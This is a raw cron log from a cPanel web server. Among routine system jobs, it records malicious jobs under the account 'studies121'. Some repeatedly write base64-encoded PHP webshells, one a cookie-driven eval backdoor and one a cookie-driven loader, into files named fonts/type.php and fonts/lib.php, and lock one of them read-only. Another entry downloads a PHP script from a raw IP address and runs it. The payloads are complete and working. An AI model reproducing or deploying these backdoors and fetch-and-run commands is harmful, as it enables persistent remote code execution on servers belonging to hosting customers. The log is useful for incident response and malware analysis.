Sep  4 21:41:01 ip-184-168-122-23 CROND[25482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:41:01 ip-184-168-122-23 CROND[25485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:42:01 ip-184-168-122-23 CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:42:01 ip-184-168-122-23 CROND[25656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:42:01 ip-184-168-122-23 CROND[25654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:42:01 ip-184-168-122-23 CROND[25657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:42:01 ip-184-168-122-23 CROND[25655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:43:01 ip-184-168-122-23 CROND[25740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:43:01 ip-184-168-122-23 CROND[25743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:43:01 ip-184-168-122-23 CROND[25742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:43:01 ip-184-168-122-23 CROND[25741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:44:01 ip-184-168-122-23 CROND[25837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:44:01 ip-184-168-122-23 CROND[25838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:44:01 ip-184-168-122-23 CROND[25842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:44:01 ip-184-168-122-23 CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:44:01 ip-184-168-122-23 CROND[25840]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:45:01 ip-184-168-122-23 CROND[25936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:45:01 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:45:01 ip-184-168-122-23 CROND[25939]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:45:01 ip-184-168-122-23 CROND[25942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:45:01 ip-184-168-122-23 CROND[25944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:45:01 ip-184-168-122-23 CROND[25943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:46:01 ip-184-168-122-23 CROND[26031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:46:01 ip-184-168-122-23 CROND[26034]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 21:46:01 ip-184-168-122-23 CROND[26030]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 21:46:01 ip-184-168-122-23 CROND[26033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:46:01 ip-184-168-122-23 CROND[26032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:46:01 ip-184-168-122-23 CROND[26036]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:46:01 ip-184-168-122-23 CROND[26035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:47:01 ip-184-168-122-23 CROND[26122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:47:01 ip-184-168-122-23 CROND[26124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:47:01 ip-184-168-122-23 CROND[26123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:47:01 ip-184-168-122-23 CROND[26125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:48:01 ip-184-168-122-23 CROND[26204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:48:01 ip-184-168-122-23 CROND[26207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:48:01 ip-184-168-122-23 CROND[26206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:48:01 ip-184-168-122-23 CROND[26208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:48:01 ip-184-168-122-23 CROND[26209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:49:01 ip-184-168-122-23 CROND[26373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:49:01 ip-184-168-122-23 CROND[26375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:49:01 ip-184-168-122-23 CROND[26376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:49:01 ip-184-168-122-23 CROND[26377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26465]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:50:02 ip-184-168-122-23 CROND[26471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26467]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 21:50:02 ip-184-168-122-23 CROND[26472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:51:01 ip-184-168-122-23 CROND[26561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:51:01 ip-184-168-122-23 CROND[26560]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:51:01 ip-184-168-122-23 CROND[26563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:51:01 ip-184-168-122-23 CROND[26562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:52:01 ip-184-168-122-23 CROND[26655]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 21:52:01 ip-184-168-122-23 CROND[26656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:52:01 ip-184-168-122-23 CROND[26659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 21:52:01 ip-184-168-122-23 CROND[26657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:52:01 ip-184-168-122-23 CROND[26658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 21:53:01 ip-184-168-122-23 CROND[26745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 21:53:01 ip-184-168-122-23 CROND[26746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 21:53:01 ip-184-168-122-23 CROND[26749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
